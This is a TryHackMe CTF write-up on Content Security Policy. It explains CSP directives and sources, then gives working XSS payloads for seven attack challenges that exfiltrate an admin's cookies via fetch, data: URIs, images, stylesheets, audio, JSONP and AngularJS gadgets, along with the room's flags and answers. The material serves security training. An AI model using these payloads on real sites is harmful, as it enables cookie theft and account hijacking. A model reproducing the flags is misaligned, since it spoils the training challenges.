Content Security Policy Tryhackme Writeup

By Shamsher khan This is a Writeup of Tryhackme room “Content Security Policy”

Room link:
Note: This room is for Premium Members Only. who purchased THM premium membership.


  • Bypass Content Security Policy

Task 1 Introduction

What is CSP?

Content Security Policy, or CSP, is a policy usually sent via an HTTP response header from the webserver to your browser when requesting a page that describes which sources of content the browser should allow to be loaded in, and which ones should be blocked. In case an XSS or data injection vulnerability is found in a website, CSP is designed to prevent this vulnerability from being exploited until it’s properly patched, and should serve as an extra layer of protection, not as your only line of defense.

A CSP policy can also be included within the page’s HTML source code, using the tag, such as this:

<meta http-equiv="Content-Security-Policy" content="script-src 'none'; object-src 'none';">

How can CSP be bypassed?

If you’ve found an XSS vulnerability in a website, but can’t run any unauthorized code, the CSP of the website may be blocking it. What you’ll need to do is read the policy sent by the server and see if any flaws in it could be exploited to successfully inject and execute your payload.

What does CSP stand for?

Answer: Content Security Policy

CSP is designed to add an additional layer of protection against the exploitation of what vulnerability?

Answer: XSS

In which part of the HTTP response does the server usually send the policy to the client?

Answer: header

Task 2: Directives

Some of the more commonly used directives are:

  • default-src - As the name states, this directive is used as the default, which means if a certain resource is trying to be loaded and there isn't a directive specified for its type, it falls back to default-src to verify if it's allowed to load.
  • script-src - This directive specifies the sources wherefrom JavaScript scripts can be loaded and executed.
  • connect-src - This directive specifies to which locations can JavaScript code perform AJAX requests (think XMLHTTPRequest or fetch).
  • style-src / img-src / font-src / media-src - These directives specify from which locations CSS stylesheets, images, fonts and media files (audio/video) respectively can be loaded
  • frame-src / child-src - This directive defines which locations can be embedded on the webpage via (i)frames.
  • report-uri - This is a special directive that will instruct the browser report all violations of your Content Security Policy via a POST request to a particular URL. This is useful if you're trying to find potential code injection vulnerabilities or locations where your CSP may break the functionality of your website. This directive is deprecated and will soon be replaced by the report-to directive, but for now, it remains in use. If you'd like to learn more about it, visit the MDN page for more information.

There are also quite a few other directives that I won’t be focusing on in this course. If you’re interested in the complete list of directives, provides this and much more useful information.

  1. Which directive can we use to restrict the loading of scripts on our website?

Answer: script-src

  1. Which directive can we use to restrict the loading of videos on our website?

Answer: media-src

  1. If we want to log CSP violations, which directive do we need to set to have the browser report violations to us?

Answer: report-uri

Task 3: Sources

  • This source is a wildcard, which means content for that specific directive can be loaded from anywhere. It’s recommended not to use this source for script-src as it will essentially allow loading scripts from any URL.
  • 'none' - This is the opposite of the wildcard (*) source as it fully disallows loading resources of the specified directive type from anywhere. For example, if you know you won't be serving certain content on your website, such as music or videos, you can just set the directive to 'none' in your CSP like so: media-src 'none'
  • 'self' - This source allows you to load resources that are hosted on the same protocol (http/https), hostname (, and port (80/443) as the website. For example, if you're accessing a site such as and it has the CSP header set to default-src 'self', you won't be able to load any scripts, images or stylesheets from, or
  • 'unsafe-inline' - This source allows the use of inline stylesheets, inline JavaScript and event attributes like onclick. This source is considered unsafe and should be avoided.
  • 'unsafe-eval' - This source allows additional JavaScript code to be executed using functions such as eval() by JS code that's already permitted within the policy. This is usually safe unless a vulnerability is found in the code that runs on the page or the script-src sources are very loose, for example allowing any script to be loaded from a CDN.
  • - This source would allow you to load resources from the domain, but not its subdomains
  • * - This source would allow you to load resources from all of the subdomains of, but not the base domain.
  • data: - Adding this source to a directive would allow resources to be loaded from a data: url. For script-src, this source is also considered unsafe and should be avoided. Here are some examples of data: urls:
  • data:image/png;base64,iVBORw0KGgo…
  • data:application/javascript,alert(1337)

There’s also a couple of special sources, which are usually used in combination with some of the above to ensure only allowed resources are loaded, whilst maintaining convenience for the site owners.

  • nonce-: This allows a resource to load if it has a matching nonce attribute. The nonce is a random string that is generated for every request. It is usually used for loading inline JS code or CSS styles. It needs to be unique for every request, as if a nonce is predictable, it can be bypassed. For example, if a server sends the following header: script-src 'unsafe-inline' 'nonce-GJYTxu', the browser will only execute scripts that have the attribute set, like so:
<script nonce="GJYTxu">alert(1)</script>
  • sha256-: This is simply a SHA256 hash encoded via Base64 used as a checksum to verify that the content of the resource matches up with what's allowed by the server. Currently, sha256, sha384, and sha512 are by the CSP standard. This is usually used only for inline JS code or CSS styles but can be used to verify external scripts and/or stylesheets too. We can generate a SHA256 hash of an inline script we're intending to use by using a tool to generate it such as the one at or simply running it on a webpage with a restrictive CSP header and then extracting the hash from the console error. For example, if we're looking to run the following JS on our website inline: alert(1337), we'll need to compute a SHA256 hash. I went ahead and did that, and the hash for the above code would be 'sha256-EKy4VsCHbHLlljt6SkTuD/eXpDbYHR1miZSY8h2DjDc='. Now we can add that to our policy, like so: script-src 'sha256-EKy4VsCHbHLlljt6SkTuD/eXpDbYHR1miZSY8h2DjDc='. Once that's added, the inline script should run as normal.
  1. If we want to allow script execution via functions such as eval() from already trusted scripts, what source should we allow in our script-src directive?

Answer: ‘unsafe-eval’

  1. What directive-source combination should we add to our policy if we want to specifically block all JavaScript content from running on our website?

Answer: script-src ‘none’

Task 4: Creating a Content Security Policy

When creating a CSP policy, I would recommend setting the default-src directive to ‘self’. This ensures all resources by default will only be allowed to load from your website and nowhere else. If all the content (scripts, images, media…) is hosted on your site, this is all you’ll need to set. If you load some of the content on your site from external sources (for example, images from a hosting site such as, you can adjust the rest of the directives according to your needs.

When setting up the script-src directive and its sources, you should pay special attention to what you’re allowing to load. If you’re loading a script from an external source such as a CDN, make sure you’re specifying the full URL of the script or a nonce/SHA hash of it and not just the hostname where it’s hosted at, unless you’re 100% sure no scripts that could be used to bypass your policy are hosted there. For example, if you’re including jQuery from cdnjs on your website, you should include the full URL of the script (script-src or the SHA256 hash in your policy. Most CDNs allow you to get the script hash somewhere on their site. For example, on cdnjs, you can get it by clicking "Copy SRI" on the Copy dropdown.

Inline JS

If you need to include inline JavaScript or stylesheets in your website, you’ll need to set up a nonce generator on the server-side, or compute SHA hashes of your inline scripts and then include them in your policy. There are loads of great libraries for most languages that allow you to do this with minimal effort. For example, if you’re working with an Express-based website, I would recommend using the helmet-csp module available on npm, which randomly generates the nonce for you. If you’re looking to hash your inline scripts, you can use an online tool such as’s hash generator or you can use a tool such as AutoCSP to automatically generate your hashes for you.

Note that if you serve JSONP endpoints on your website, you may need to take additional precautions. If you’re not sure whether you serve JSONP endpoints or not, you probably don’t.

  1. What hashing algorithm can you use to verify the scripts being loaded? (Without the numbers)

Answer: SHA

  1. Can you include the URLs of the permitted scripts directly in your security policy? (Yes / No)

Answer: yes

Task 5: Bypassing a Content Security Policy

If you’re looking for a quick way to check if your policy has any potential bypass vectors in it, I would recommend using Google’s CSP Evaluator. It’s able to detect various mistakes in any CSP configuration.

JSONP endpoints

Some sites may serve JSONP endpoints which call a JavaScript function in their response. If the callback function of these can be changed, they could be used to bypass the CSP and demonstrate a proof of concept, such as displaying an alert box or potentially even exfiltrating sensitive information from the client such as cookies or authentication tokens. A lot of popular websites serve JSONP endpoints, which can be usually used to bypass a security policy on a website that uses their services. The JSONBee repo lists a good amount of the currently available JSONP endpoints that can be used to bypass a website’s security policy.

Unsafe CSP configurations

Some sites may allow loading of resources from unsafe sources, for example by allowing data: URIs or using the ‘unsafe-inline’ source. For example, if a website allows loading scripts from data: URIs, you can simply bypass their policy by moving your payload to the src attribute of the script, like so:

<script src="data:application/javascript,alert(1)"></script>


To exfiltrate sensitive information, your client needs to connect to a webserver you control. For our purposes, we can use a free service such as Beeceptor to receive the information via the path of the request. If you have access to a paid service such as Burp Collaborator, you can use this instead.

If you prefer running a web server for exfiltration locally, you can set up a simple HTTP server using python by running

python -m SimpleHTTPServer or python3 -m http.server.

If the website you’re exploiting allows AJAX requests (via connect-src) to anywhere, you can create a fetch request to your server like so:


When the script is triggered on the victim’s machine, you’ll see their cookies show up in your access log, like so:

If you found an XSS vulnerability and bypassed CSP, but can’t leak any information with it via XHR requests or fetch, the connect-src policy may be blocking your requests. This can be bypassed if the website you’re exploiting doesn’t have strict settings for directives such as image-src and media-src, which can be abused to leak information.

For example, if a website is blocking all of your XHR requests but allows images to be loaded from any location, you can abuse this with JavaScript to load a specially crafted URL that masquerades as an image, like so:

<script>(new Image()).src = `${encodeURIComponent(document.cookie)}`</script>
  1. If Ajax/XHR requests are blocked, can we still exfiltrate sensitive information? (Yes / No)

Answer: Yes

Task 7: CSP Sandbox :: Attack challenges

Attack challenges require you to bypass the CSP header sent by the webpage and exfiltrate the administrator’s cookies. For methods on how you can achieve this, refer to the Bypassing CSP task of this room.

For verification, all challenges are accessed by a bot locally (localhost)

CSP Evaluator

To start, I put the IP address with the port (3001) into CSP Evaluator

I learn that this has default-src * ‘unsafe-inline’ set up.

To exploit this, first I must set up my Beeceptor.


My attacking address is now

Flag for attack-1

<BODY ONLOAD=fetch(`${document.cookie}`)>

GET /flag=THM%7BTh4t_W4s_Pr3tty_3asy%7D

Answer: THM{Th4t_W4s_Pr3tty_3asy}

Flag for attack-2

kali@kali:~/CTFs/tryhackme/Content Security Policy$ echo -n 'fetch(`${document.cookie}`)' | base64ZmV0Y2goYGh0dHBzOi8vc3Ryb2tlLmZyZWUuYmVlY2VwdG9yLmNvbS8ke2RvY3VtZW50LmNvb2tpZX1gKQ==<script src="data:;base64,ZmV0Y2goYGh0dHBzOi8vc3Ryb2tlLmZyZWUuYmVlY2VwdG9yLmNvbS8ke2RvY3VtZW50LmNvb2tpZX1gKQ=="></script>

GET /flag=THM%7BUs1ng_data:_1snt_Any_S4fer%7D

Answer: THM{BUs1ng_data:_1snt_Any_S4fer}

Flag for attack-3

<IMG id="randomcspsmith" SRC="">
<script>document.getElementById('randomcspsmith').src="" + document.cookie;</script>

GET /flag=THM%7BTh4ts_N0t_4n_1m4ge!!%7D

Answer: THM{Th4ts_N0t_4n_1m4ge!!}

Flag for attack-4

<link id="randomcspsmith" rel=stylesheet href="" /><script nonce="abcdef">document.getElementById('randomcspsmith').href="" + document.cookie;</script>

GET /flag=THM%7BStyle_Y0ur_W3bs1teS%7D

Answer: THM{Style_Y0ur_W3bs1teS}

Flag for attack-5

<script src="//''.concat(document.cookie))"></script>

GET /flag=THM%7BN0_JSONP_D0mains_Plz%7D

Answer: THM{N0_JSONP_D0mains_Plz}

Flag for attack-6

<script src="" integrity="sha512-C4LuwXQtQOF1iTRy3zwClYLsLgFLlG8nCV5dCxDjPcWsyFelQXzi3efHRjptsOzbHwwnXC3ZU+sWUh1gmxaTBA==" crossorigin="anonymous"></script>
<script src=""></script>
<div ng-app ng-csp>{{$'' + $}}</div>

GET /flag=THM%7BTrust_N0_CDN%7D

Answer: THM{Trust_N0_CDN}

Flag for attack-7

<script src="/'; new Audio('' + document.cookie); '"></script>

GET /flag=THM%7BTh1s_4udio_S0unds_N1ce%7D

Answer: THM{Th1s_4udio_S0unds_N1ce}

Task 8 CSP Sandbox :: Defend challenges

Defend challenges require you to defend the website from XSS attacks by creating a CSP header that blocks them, whilst allowing the legitimate scripts to execute.

  1. What is the flag for defend-1?

Answer: THM{N0_0utside_S0urces}

  1. What is the flag for defend-2?

Answer: THM{M4k3_Sure_Y0ur_N0nce_1s_R4ndom}

  1. What is the flag for defend-3?

Answer: THM{Hash_Y0ur_1nl1ne_Scr1pts}

You can find me on:

For more walkthroughs stay tuned…
Before you go…

Visit my other walkthrough’s:-

and thank you for taking the time to read my walkthrough.
If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share
it to help others with similar interests! + Feedback is always welcome!

Web Application Pen-tester || CTF Player || Security Analyst || Freelance Cyber Security Trainer

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store